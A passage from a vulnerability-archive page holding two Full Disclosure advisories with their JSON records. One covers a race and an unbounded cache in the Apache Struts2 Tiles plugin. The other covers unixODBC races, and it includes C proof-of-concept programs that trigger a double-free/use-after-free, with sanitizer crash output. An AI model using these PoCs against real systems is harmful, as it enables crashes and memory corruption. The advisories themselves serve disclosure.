archived into the Apache Attic and, as such, when the Apache Struts2 maintainers decided to import at least a subset of
the Tiles codebase into their own. By sucking in the buggy version, however, the Apache Struts2 Tiles plugin contained
within said codebase inherits all issues that the imported code contained.
Examples
BasicPreparerFactory Race and Lack of an Eviction Process
The Apache Struts2 Tiles container is initialised as an application-scoped singleton resource. Each request to the
server utilises a separate thread, with each thread having access to the Tiles singleton. If the requests execute
Tiles definitions that require view preparers, they will simultaneously invoke the factory instance being used, so it
is important that the factory utilise thread-safe constructs. The `BasicPreparerFactory`, which is the default Tiles
`ViewPreparer` factory, however, leverages an unsynchronised `HashMap` keyed by the preparer name.
At issue are a couple of things. First, there is a time-of-check, time-of-use (TOCTOU) race condition in
`getPreparer(String, Request)` -- this requires a proper lock or an atomic/locking call or, in a multi-threaded
context, which is what happens in a Tiles workflow, it is prone to racing. Second, there simply isn't a limit to the
size of the Map and the default capacity is used.
This was the original design of Tiles and was a known issue, which manifested itself in denial of service (DoS)
conditions in certain use cases, but was generally "mitigated" by having Tiles initialised and setup as part of the
server start up routine (although plenty of systems still leveraged a more dynamic approach) -- the service would read
the tiles configuration at start up, create and stuff the cache then, using a serial process. This design, however,
was still suboptimal, buggy, and problematic, even when used in that way, resulting in several overhauls and,
eventually, settling in Tiles 3. The old process, regardless, was suboptimal even from the most basic of perspectives
-- since it was a one-time, start-up cost (typically -- again, developers and the like were free to, and often did,
perform dynamic building), there was little reason to utilise the default capacity -- the desired size and capacity was
trivially calculable and known, so it could and should have been set thereto to prevent excessive memory use, with a
better-tuned automatic resizing threshold. That, of course, however, was the least of the problems, which is why Tiles
3 shifted to a `ConcurrentHashMap` (realistically, a sub-optimal solution, as it is generally best to control your own
resources since such structures can still race via TOCTOU -- e.g., ` if (!map.containsKey(key)) map.put(key, value);`--
and similar coding constructs).
```java
/**
* Maps a preparer name to the instantiated preparer.
*/
protected Map<String, ViewPreparer> preparers;
/**
* Constructor.
*/
public BasicPreparerFactory() {
this.preparers = new HashMap<>();
}
/**
* Create a new instance of the named preparerInstance. This factory
* expects all names to be qualified class names.
*
* @param name the named preparerInstance
* @param context current context
* @return ViewPreparer instance
*/
public ViewPreparer getPreparer(String name, Request context) {
if (!preparers.containsKey(name)) {
preparers.put(name, createPreparer(name));
}
return preparers.get(name);
}
```
Code snippet from struts2-tiles-plugin's
plugins/tiles/src/main/java/org/apache/tiles/core/prepare/factory/BasicPreparerFactory.java, lines 44-71
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Nov/11 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache | Struts2 Tiles |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Struts2 Tiles",
"vendor": "Apache",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Apache Struts2 Tiles plugin version \u003c=7.4.0 (and \u003e=6.3.0) codebase includes a `ViewPreparer` construct, replete \nwith multiple ViewPreparer factories, that contains several important vulnerabilities including unsynchronised, \nunbounded caches. The lack of proper synchronisation means that certain factories will create caches that race, \nrisking lost cache entries, corrupted internal bucket states under load (this can result in infinite loops that consume \nlarge amounts of compute or time, among other things), expensive duplicate `put(Object, Object)` calls, and similar \nissues. The lack of an eviction process means that the cache can grow to arbitrary lengths, consume excessive amounts \nof memory, especially since the information system fails to utilise a starting size. These problems are compounded by \nthe cache being `protected`, directly exposing it across the package and any inheriting classes, as well as attackers \nbeing able to control the key (if, for example, the cache is dynamically managed and attackers can set part of the key \nor leveraging the vulnerability discussed in `Apache Struts2 Core Arbitrary Code Execution via OGNL Sandbox Escape` (01 \nNovember 2026) to call to create preparers, call to getPreparer, etc.).\n\nImportantly, this file appears to have come from an older, known vulnerable, known buggy version of Tiles that was \nplaced into the Apache Struts2 codebase, instead of the Tiles 3 version, when the Apaches Tiles project was retired and \narchived into the Apache Attic and, as such, when the Apache Struts2 maintainers decided to import at least a subset of \nthe Tiles codebase into their own. By sucking in the buggy version, however, the Apache Struts2 Tiles plugin contained \nwithin said codebase inherits all issues that the imported code contained.\n\nExamples\nBasicPreparerFactory Race and Lack of an Eviction Process\nThe Apache Struts2 Tiles container is initialised as an application-scoped singleton resource. Each request to the \nserver utilises a separate thread, with each thread having access to the Tiles singleton. If the requests execute \nTiles definitions that require view preparers, they will simultaneously invoke the factory instance being used, so it \nis important that the factory utilise thread-safe constructs. The `BasicPreparerFactory`, which is the default Tiles \n`ViewPreparer` factory, however, leverages an unsynchronised `HashMap` keyed by the preparer name.\n\nAt issue are a couple of things. First, there is a time-of-check, time-of-use (TOCTOU) race condition in \n`getPreparer(String, Request)` -- this requires a proper lock or an atomic/locking call or, in a multi-threaded \ncontext, which is what happens in a Tiles workflow, it is prone to racing. Second, there simply isn\u0027t a limit to the \nsize of the Map and the default capacity is used.\n\nThis was the original design of Tiles and was a known issue, which manifested itself in denial of service (DoS) \nconditions in certain use cases, but was generally \"mitigated\" by having Tiles initialised and setup as part of the \nserver start up routine (although plenty of systems still leveraged a more dynamic approach) -- the service would read \nthe tiles configuration at start up, create and stuff the cache then, using a serial process. This design, however, \nwas still suboptimal, buggy, and problematic, even when used in that way, resulting in several overhauls and, \neventually, settling in Tiles 3. The old process, regardless, was suboptimal even from the most basic of perspectives \n-- since it was a one-time, start-up cost (typically -- again, developers and the like were free to, and often did, \nperform dynamic building), there was little reason to utilise the default capacity -- the desired size and capacity was \ntrivially calculable and known, so it could and should have been set thereto to prevent excessive memory use, with a \nbetter-tuned automatic resizing threshold. That, of course, however, was the least of the problems, which is why Tiles \n3 shifted to a `ConcurrentHashMap` (realistically, a sub-optimal solution, as it is generally best to control your own \nresources since such structures can still race via TOCTOU -- e.g., ` if (!map.containsKey(key)) map.put(key, value);`-- \nand similar coding constructs).\n\n```java\n /**\n * Maps a preparer name to the instantiated preparer.\n */\n protected Map\u003cString, ViewPreparer\u003e preparers;\n\n /**\n * Constructor.\n */\n public BasicPreparerFactory() {\n this.preparers = new HashMap\u003c\u003e();\n }\n\n\n /**\n * Create a new instance of the named preparerInstance. This factory\n * expects all names to be qualified class names.\n *\n * @param name the named preparerInstance\n * @param context current context\n * @return ViewPreparer instance\n */\n public ViewPreparer getPreparer(String name, Request context) {\n if (!preparers.containsKey(name)) {\n preparers.put(name, createPreparer(name));\n }\n\n return preparers.get(name);\n }\n```\nCode snippet from struts2-tiles-plugin\u0027s \nplugins/tiles/src/main/java/org/apache/tiles/core/prepare/factory/BasicPreparerFactory.java, lines 44-71\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-05T04:38:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/11"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/11"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/11"
],
"discovery": "EXTERNAL"
},
"title": "Apache Struts2 Tiles Plugin \u003c=7.4.0 and \u003e=6.3.0 Preparer Cache Vulnerabilities",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0550",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/11",
"automated": true,
"contentSha256": "e8432a683aeda22d01098e3ea45ce46c2400d83f876dcd5779f3204168bcbe70",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/11",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-04T22:34:51Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-05T04:38:41Z",
"dateUpdated": "2026-11-05T04:38:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0550"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0549
Vulnerability from gna-1988 – Published: 2026-11-05 04:38 – Updated: 2026-11-05 04:38
VLAI
EPSS
VEX
Title
unixODBC <=2.3.14 Multiple Races
Summary
The unixODBC driver manager library contains multiple races of importance / interest, including a set of data races in
the connection-pooling configuration state data that can cause one thread to read a half-written pool-size or timeout
value, which can lead to a variety of harmful effects, as well as a race between teardown and error-handling
functionality that can result in double-frees and use-after-frees. Other races exist within the code, as well, but,
for brevity, are left as exercises for the reader.
Examples
Sample Data Races
While 7 distinct data races were discovered, the following serves as a blueprint to find both the examples below and
other instances.
Connection-Pooling Configuration State Data Races
The DriverManager's connection-pooling configuration state -- the globals `pooling_enabled`, `pool_max_size`, and
`pool_wait_timeout` declared in `SQLConnect.c` -- is read and written from `SQLAllocHandle`, `SQLSetEnvAttr`,
`SQLConnect`, `SQLDriverConnect`, `SQLDisconnect`, and `SQLFreeHandle` without any of the write paths acquiring a lock,
despite such a lock -- a mutex in `__handles.c` -- already existing expressly for this purpose. Since the variables in
question are neither atomic nor `volatile`, directly accessing them in such a fashion via reads and writes creates a
data race, with the compiler and central processing unit (CPU) being free to tear, cache, and reorder the accesses (and
the compiler will, more generally, assume single-threaded execution for non-atomic globals, which may cause aggressive
optimisations, like moving reads out of loops, that further break runtime assumptions). While there are multiple sites
with this specific problem, we will only show code for one for the sake of brevity. The sample code to reproduce the
issue will, across multiple runs, demonstrate races in `SQLSetEnvAttr`, `SQLAllocHandle`, etc., so running it multiple
times will provide a better example thereof, as one would expect with such an issue.
```c
int pooling_enabled = 0;
int pool_max_size = 0;
int pool_wait_timeout;
```
Code snippet from `unixODBC`'s DriverManager/SQLConnect.c, lines 738-740
```c
/** Lines 255-261 **/
/*
* connection pooling stuff
*/
extern int pooling_enabled;
extern int pool_max_size;
extern int pool_wait_timeout;
/** ... **/
/** Lines 302-323 **/
if ( pooling_string[ 0 ] == '1' ||
toupper( pooling_string[ 0 ] ) == 'Y' ||
( toupper( pooling_string[ 0 ] ) == 'O' &&
toupper( pooling_string[ 1 ] ) == 'N' ))
{
pooling_enabled = 1;
}
#ifdef WITH_SHARDENV
if ( pooling_enabled )
{
int first;
SQLGetPrivateProfileString( "ODBC", "PoolMaxSize", "0",
pool_max_size_string, sizeof( pool_max_size_string ),
"ODBCINST.INI" );
pool_max_size = atoi( pool_max_size_string );
SQLGetPrivateProfileString( "ODBC", "PoolWaitTimeout", "30",
pool_wait_timeout_string, sizeof( pool_wait_timeout_string ),
"ODBCINST.INI" );
pool_wait_timeout = atoi( pool_wait_timeout_string );
/** .. **/
/** Lines 383-397 **/
#else
if ( pooling_enabled )
{
int first;
SQLGetPrivateProfileString( "ODBC", "PoolMaxSize", "0",
pool_max_size_string, sizeof( pool_max_size_string ),
"ODBCINST.INI" );
pool_max_size = atoi( pool_max_size_string );
SQLGetPrivateProfileString( "ODBC", "PoolWaitTimeout", "30",
pool_wait_timeout_string, sizeof( pool_wait_timeout_string ),
"ODBCINST.INI" );
pool_wait_timeout = atoi( pool_wait_timeout_string );
```
Snippets from `unixODBC`'s DriverManager/SQLAllocHandle.c
```c
#include <stdio.h>
#include <pthread.h>
#include <sql.h>
#include <sqlext.h>
#define ITER 2000
static void *setter_thread(void *arg) {
(void)arg;
for (int i = 0; i < ITER; i++) {
SQLSetEnvAttr(SQL_NULL_HENV, SQL_ATTR_CONNECTION_POOLING,
(SQLPOINTER)SQL_CP_ONE_PER_DRIVER, 0);
}
return NULL;
}
static void *alloc_thread(void *arg) {
(void)arg;
for (int i = 0; i < ITER; i++) {
SQLHENV henv = SQL_NULL_HENV;
SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv);
if (henv != SQL_NULL_HENV) {
SQLFreeHandle(SQL_HANDLE_ENV, henv);
}
}
return NULL;
}
int main(void) {
pthread_t t1, t2;
pthread_create(&t1, NULL, setter_thread, NULL);
pthread_create(&t2, NULL, alloc_thread, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
printf("done\n");
return 0;
}
```
Sample code to cause the data race
```text
WARNING: ThreadSanitizer: data race (pid=1369482)
Read of size 4 at 0x7f6f9fff8c28 by thread T2:
#0 __SQLAllocHandle .../DriverManager/SQLAllocHandle.c:387:18 ...
#1 SQLAllocHandle .../DriverManager/SQLAllocHandle.c:1396:12 ...
#2 alloc_thread .../poc_pool_race.c:41:24 ...
Previous write of size 4 at 0x7f6f9fff8c28 by thread T1:
#0 SQLSetEnvAttr .../DriverManager/SQLSetEnvAttr.c:156:33 ...
#1 setter_thread .../poc_pool_race.c:31:9 ...
Location is global 'pooling_enabled' of size 4 at 0x7f6f9fff8c28 (libodbc.so.2+0x8ec28)
...
SUMMARY: ThreadSanitizer: data race .../SQLAllocHandle.c:387:18 in __SQLAllocHandle
ThreadSanitizer: reported 1 warnings
```
Output from ThreadSanitizer
Sample Double-Free/Use-After-Free Race
Although there are multiple instances of this issue within the code base, the following shall serve as a template to
find the others.
Racing on a Shared Handle
The `__release_env`, `__release_dbc`, `__release_stmt`, and `__release_desc` cleanup functions in `__handles.c` perform
`memset` and `free` operations to the caller-supplied handle pointer regardless of whether that pointer was actually
found and unlinked from the handle list, but handle validation acquires and releases the shared `mutex_lists` lock
before the caller proceeds to release the handle such that two threads that call `SQLFreeHandle` on the same handle
simultaneously can both pass validation, so that both either free the same handle (a double-free) or one frees and the
other then reads the freed handle (a use-after-free). Such bugs can, for example, result in a crash or exploitable
memory corruption. Please note that our example only shows some of the instances and that the exact same paradigm
exists elsewhere in the code.
It should also be noted, for completeness, that the code in question and in our sample code snippets contain a variety
of other bugs, including the handle being freed inside of the `mutex_lists` lock and then being unlinked from the list
after validation has already occurred in a separate lock cycle. Also, `SQLFreeHandle` performs validation, drops the
lock, and then calls `__release_env` -- it is this process that is allowing the race.
Regarding the proof-of-concept (POC), we understand that threads would rarely race to free the base environment handle
(`SQLHENV`) and that they are more likely to race on connection (`SQLHDBC`) and statement (`SQLHSTMT`) handles, but we,
again, leave that as an exercise for the reader, especially since such adaptations are trivial and the vulnerable code
segments are copy/pastes of that which is shown below.
```c
thread_release( SQL_HANDLE_ENV, environment );
#ifdef WITH_SHARDENV
if ( pooling_enabled == 0 ) {
/*
* release any pooled connections that are using this environment
*/
__strip_from_pool( environment );
}
#else
__strip_from_pool( environment );
#endif
__release_env( environment );
return SQL_SUCCESS;
}
break;
```
Code snippet from `unixODBC`'s DriverManager/SQLFreeHandle.c, lines 271-288
```c
/** Lines 663-686 inside of __validate_env() **/
local_mutex_entry( &mutex_lists );
ptr = environment_root;
while( ptr )
{
if ( ptr == env )
{
if ( env -> released )
{
fprintf( stderr, "unixODBC: API Error, env handle used after being free\n" );
ret = 0;
}
else
{
ret = 1;
}
break;
}
ptr = ptr -> next_class_list;
}
local_mutex_exit( &mutex_lists );
/** ... **/
/** Lines 693-754 inside of __release_env**/
/*
* remove from list
*/
void __release_env( DMHENV environment )
{
DMHENV last = NULL;
DMHENV ptr;
if ( shared_environment && environment == shared_environment ) {
return;
}
local_mutex_entry( &mutex_lists );
ptr = environment_root;
while( ptr )
{
if ( environment == ptr )
{
break;
}
last = ptr;
ptr = ptr -> next_class_list;
}
if ( ptr )
{
if ( last )
{
last -> next_class_list = ptr -> next_class_list;
}
else
{
environment_root = ptr -> next_class_list;
}
}
clear_error_head( &environment -> error );
/*
* free log
*/
dm_log_close();
#if defined ( COLLECT_STATS ) && defined( HAVE_SYS_SEM_H )
if (environment->sh)
uodbc_close_stats(environment->sh);
#endif
/*
* clear just to make sure
*/
memset( environment, 0, sizeof( *environment ));
free( environment );
local_mutex_exit( &mutex_lists );
}
```
Snippets from `unixODBC`'s DriverManager/__handles.c
```c
#include <sql.h>
#include <sqlext.h>
#include <pthread.h>
#include <stdio.h>
static SQLHANDLE henv;
static void *racer(void *arg) {
SQLRETURN ret = SQLFreeHandle(SQL_HANDLE_ENV, henv);
printf("thread %ld: SQLFreeHandle returned %d\n", (long) arg, (int) ret);
return NULL;
}
int main(void) {
for (int iter = 0; iter < 1000; iter++) {
SQLRETURN ret = SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv);
if (ret != SQL_SUCCESS) {
fprintf(stderr, "SQLAllocHandle failed (iter %d)\n", iter);
return 1;
}
pthread_t t1, t2;
pthread_create(&t1, NULL, racer, (void *) 1L);
pthread_create(&t2, NULL, racer, (void *) 2L);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
}
return 0;
}
```
Sample code to cause the race
```text
==================================================================
==1368918==ERROR: AddressSanitizer: heap-use-after-free on address 0x61e00001b8b0 at pc 0x7f4de14b2e74 bp
0x7f4ddd3fdcf0 sp 0x7f4ddd3fdce8
READ of size 8 at 0x61e00001b8b0 thread T74
#0 0x7f4de14b2e73 in clear_error_head DriverManager/__info.c:4234:42
#1 0x7f4de149fe0b in __release_env DriverManager/__handles.c:682:5
#2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13
#3 0x4ded0e in racer repro.c:27:5
freed by thread T73 here:
#0 0x4a31e6 in free
#1 0x7f4de149fe30 in __release_env DriverManager/__handles.c:701:5
#2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13
#3 0x4ded0e in racer repro.c:27:5
previously allocated by thread T0 here:
#0 in __interceptor_calloc
```
Output from AddressSanitizer
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Nov/9 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
{
"containers": {
"cna": {
"affected": [
{
"product": "\u003c=2.3.14",
"vendor": "Unixodbc",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "The unixODBC driver manager library contains multiple races of importance / interest, including a set of data races in \nthe connection-pooling configuration state data that can cause one thread to read a half-written pool-size or timeout \nvalue, which can lead to a variety of harmful effects, as well as a race between teardown and error-handling \nfunctionality that can result in double-frees and use-after-frees. Other races exist within the code, as well, but, \nfor brevity, are left as exercises for the reader.\n\nExamples\nSample Data Races\nWhile 7 distinct data races were discovered, the following serves as a blueprint to find both the examples below and \nother instances.\n\nConnection-Pooling Configuration State Data Races\nThe DriverManager\u0027s connection-pooling configuration state -- the globals `pooling_enabled`, `pool_max_size`, and \n`pool_wait_timeout` declared in `SQLConnect.c` -- is read and written from `SQLAllocHandle`, `SQLSetEnvAttr`, \n`SQLConnect`, `SQLDriverConnect`, `SQLDisconnect`, and `SQLFreeHandle` without any of the write paths acquiring a lock, \ndespite such a lock -- a mutex in `__handles.c` -- already existing expressly for this purpose. Since the variables in \nquestion are neither atomic nor `volatile`, directly accessing them in such a fashion via reads and writes creates a \ndata race, with the compiler and central processing unit (CPU) being free to tear, cache, and reorder the accesses (and \nthe compiler will, more generally, assume single-threaded execution for non-atomic globals, which may cause aggressive \noptimisations, like moving reads out of loops, that further break runtime assumptions). While there are multiple sites \nwith this specific problem, we will only show code for one for the sake of brevity. The sample code to reproduce the \nissue will, across multiple runs, demonstrate races in `SQLSetEnvAttr`, `SQLAllocHandle`, etc., so running it multiple \ntimes will provide a better example thereof, as one would expect with such an issue.\n\n```c\nint pooling_enabled = 0;\nint pool_max_size = 0;\nint pool_wait_timeout;\n```\nCode snippet from `unixODBC`\u0027s DriverManager/SQLConnect.c, lines 738-740\n\n```c\n/** Lines 255-261 **/\n/*\n* connection pooling stuff\n*/\n\nextern int pooling_enabled;\nextern int pool_max_size;\nextern int pool_wait_timeout;\n/** ... **/\n/** Lines 302-323 **/\n if ( pooling_string[ 0 ] == \u00271\u0027 ||\n toupper( pooling_string[ 0 ] ) == \u0027Y\u0027 ||\n ( toupper( pooling_string[ 0 ] ) == \u0027O\u0027 \u0026\u0026\n toupper( pooling_string[ 1 ] ) == \u0027N\u0027 ))\n {\n pooling_enabled = 1;\n }\n\n#ifdef WITH_SHARDENV\n if ( pooling_enabled )\n {\n int first;\n\n SQLGetPrivateProfileString( \"ODBC\", \"PoolMaxSize\", \"0\",\n pool_max_size_string, sizeof( pool_max_size_string ),\n \"ODBCINST.INI\" );\n pool_max_size = atoi( pool_max_size_string );\n\n SQLGetPrivateProfileString( \"ODBC\", \"PoolWaitTimeout\", \"30\",\n pool_wait_timeout_string, sizeof( pool_wait_timeout_string ),\n \"ODBCINST.INI\" );\n pool_wait_timeout = atoi( pool_wait_timeout_string );\n/** .. **/\n/** Lines 383-397 **/\n#else\n\n if ( pooling_enabled )\n {\n int first;\n\n SQLGetPrivateProfileString( \"ODBC\", \"PoolMaxSize\", \"0\",\n pool_max_size_string, sizeof( pool_max_size_string ),\n \"ODBCINST.INI\" );\n pool_max_size = atoi( pool_max_size_string );\n\n SQLGetPrivateProfileString( \"ODBC\", \"PoolWaitTimeout\", \"30\",\n pool_wait_timeout_string, sizeof( pool_wait_timeout_string ),\n \"ODBCINST.INI\" );\n pool_wait_timeout = atoi( pool_wait_timeout_string );\n```\nSnippets from `unixODBC`\u0027s DriverManager/SQLAllocHandle.c\n\n```c\n#include \u003cstdio.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n\n#define ITER 2000\n\nstatic void *setter_thread(void *arg) {\n (void)arg;\n for (int i = 0; i \u003c ITER; i++) {\n SQLSetEnvAttr(SQL_NULL_HENV, SQL_ATTR_CONNECTION_POOLING,\n (SQLPOINTER)SQL_CP_ONE_PER_DRIVER, 0);\n }\n return NULL;\n}\n\nstatic void *alloc_thread(void *arg) {\n (void)arg;\n for (int i = 0; i \u003c ITER; i++) {\n SQLHENV henv = SQL_NULL_HENV;\n SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, \u0026henv);\n if (henv != SQL_NULL_HENV) {\n SQLFreeHandle(SQL_HANDLE_ENV, henv);\n }\n }\n return NULL;\n}\n\nint main(void) {\n pthread_t t1, t2;\n pthread_create(\u0026t1, NULL, setter_thread, NULL);\n pthread_create(\u0026t2, NULL, alloc_thread, NULL);\n pthread_join(t1, NULL);\n pthread_join(t2, NULL);\n printf(\"done\\n\");\n return 0;\n}\n```\nSample code to cause the data race\n\n```text\nWARNING: ThreadSanitizer: data race (pid=1369482)\n Read of size 4 at 0x7f6f9fff8c28 by thread T2:\n #0 __SQLAllocHandle .../DriverManager/SQLAllocHandle.c:387:18 ...\n #1 SQLAllocHandle .../DriverManager/SQLAllocHandle.c:1396:12 ...\n #2 alloc_thread .../poc_pool_race.c:41:24 ...\n Previous write of size 4 at 0x7f6f9fff8c28 by thread T1:\n #0 SQLSetEnvAttr .../DriverManager/SQLSetEnvAttr.c:156:33 ...\n #1 setter_thread .../poc_pool_race.c:31:9 ...\n Location is global \u0027pooling_enabled\u0027 of size 4 at 0x7f6f9fff8c28 (libodbc.so.2+0x8ec28)\n ...\nSUMMARY: ThreadSanitizer: data race .../SQLAllocHandle.c:387:18 in __SQLAllocHandle\nThreadSanitizer: reported 1 warnings\n```\nOutput from ThreadSanitizer\n\nSample Double-Free/Use-After-Free Race\nAlthough there are multiple instances of this issue within the code base, the following shall serve as a template to \nfind the others.\n\nRacing on a Shared Handle\nThe `__release_env`, `__release_dbc`, `__release_stmt`, and `__release_desc` cleanup functions in `__handles.c` perform \n`memset` and `free` operations to the caller-supplied handle pointer regardless of whether that pointer was actually \nfound and unlinked from the handle list, but handle validation acquires and releases the shared `mutex_lists` lock \nbefore the caller proceeds to release the handle such that two threads that call `SQLFreeHandle` on the same handle \nsimultaneously can both pass validation, so that both either free the same handle (a double-free) or one frees and the \nother then reads the freed handle (a use-after-free). Such bugs can, for example, result in a crash or exploitable \nmemory corruption. Please note that our example only shows some of the instances and that the exact same paradigm \nexists elsewhere in the code.\n\nIt should also be noted, for completeness, that the code in question and in our sample code snippets contain a variety \nof other bugs, including the handle being freed inside of the `mutex_lists` lock and then being unlinked from the list \nafter validation has already occurred in a separate lock cycle. Also, `SQLFreeHandle` performs validation, drops the \nlock, and then calls `__release_env` -- it is this process that is allowing the race.\n\nRegarding the proof-of-concept (POC), we understand that threads would rarely race to free the base environment handle \n(`SQLHENV`) and that they are more likely to race on connection (`SQLHDBC`) and statement (`SQLHSTMT`) handles, but we, \nagain, leave that as an exercise for the reader, especially since such adaptations are trivial and the vulnerable code \nsegments are copy/pastes of that which is shown below.\n\n```c\n thread_release( SQL_HANDLE_ENV, environment );\n\n#ifdef WITH_SHARDENV\n if ( pooling_enabled == 0 ) {\n /*\n * release any pooled connections that are using this environment\n */\n __strip_from_pool( environment );\n }\n#else\n __strip_from_pool( environment );\n#endif\n\n __release_env( environment );\n\n return SQL_SUCCESS;\n }\n break;\n```\nCode snippet from `unixODBC`\u0027s DriverManager/SQLFreeHandle.c, lines 271-288\n\n```c\n/** Lines 663-686 inside of __validate_env() **/\n local_mutex_entry( \u0026mutex_lists );\n\n ptr = environment_root;\n\n while( ptr )\n {\n if ( ptr == env )\n {\n if ( env -\u003e released )\n {\n fprintf( stderr, \"unixODBC: API Error, env handle used after being free\\n\" );\n ret = 0;\n }\n else\n {\n ret = 1;\n }\n break;\n }\n\n ptr = ptr -\u003e next_class_list;\n }\n\n local_mutex_exit( \u0026mutex_lists );\n/** ... **/\n/** Lines 693-754 inside of __release_env**/\n/*\n* remove from list\n*/\n\nvoid __release_env( DMHENV environment )\n{\n DMHENV last = NULL;\n DMHENV ptr;\n\n if ( shared_environment \u0026\u0026 environment == shared_environment ) {\n return;\n }\n\n local_mutex_entry( \u0026mutex_lists );\n\n ptr = environment_root;\n\n while( ptr )\n {\n if ( environment == ptr )\n {\n break;\n }\n last = ptr;\n ptr = ptr -\u003e next_class_list;\n }\n\n if ( ptr )\n {\n if ( last )\n {\n last -\u003e next_class_list = ptr -\u003e next_class_list;\n }\n else\n {\n environment_root = ptr -\u003e next_class_list;\n }\n }\n\n clear_error_head( \u0026environment -\u003e error );\n\n /*\n * free log\n */\n\n dm_log_close();\n\n#if defined ( COLLECT_STATS ) \u0026\u0026 defined( HAVE_SYS_SEM_H )\n if (environment-\u003esh)\n uodbc_close_stats(environment-\u003esh);\n#endif\n\n /*\n * clear just to make sure\n */\n\n memset( environment, 0, sizeof( *environment ));\n\n free( environment );\n\n local_mutex_exit( \u0026mutex_lists );\n}\n```\nSnippets from `unixODBC`\u0027s DriverManager/__handles.c\n\n```c\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n\nstatic SQLHANDLE henv;\n\nstatic void *racer(void *arg) {\n SQLRETURN ret = SQLFreeHandle(SQL_HANDLE_ENV, henv);\n printf(\"thread %ld: SQLFreeHandle returned %d\\n\", (long) arg, (int) ret);\n return NULL;\n}\n\nint main(void) {\n for (int iter = 0; iter \u003c 1000; iter++) {\n SQLRETURN ret = SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, \u0026henv);\n if (ret != SQL_SUCCESS) {\n fprintf(stderr, \"SQLAllocHandle failed (iter %d)\\n\", iter);\n return 1;\n }\n\n pthread_t t1, t2;\n pthread_create(\u0026t1, NULL, racer, (void *) 1L);\n pthread_create(\u0026t2, NULL, racer, (void *) 2L);\n pthread_join(t1, NULL);\n pthread_join(t2, NULL);\n }\n return 0;\n}\n```\nSample code to cause the race\n\n```text\n==================================================================\n==1368918==ERROR: AddressSanitizer: heap-use-after-free on address 0x61e00001b8b0 at pc 0x7f4de14b2e74 bp \n0x7f4ddd3fdcf0 sp 0x7f4ddd3fdce8\nREAD of size 8 at 0x61e00001b8b0 thread T74\n #0 0x7f4de14b2e73 in clear_error_head DriverManager/__info.c:4234:42\n #1 0x7f4de149fe0b in __release_env DriverManager/__handles.c:682:5\n #2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13\n #3 0x4ded0e in racer repro.c:27:5\n\nfreed by thread T73 here:\n #0 0x4a31e6 in free\n #1 0x7f4de149fe30 in __release_env DriverManager/__handles.c:701:5\n #2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13\n #3 0x4ded0e in racer repro.c:27:5\n\npreviously allocated by thread T0 here:\n #0 in __interceptor_calloc\n```\nOutput from AddressSanitizer\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
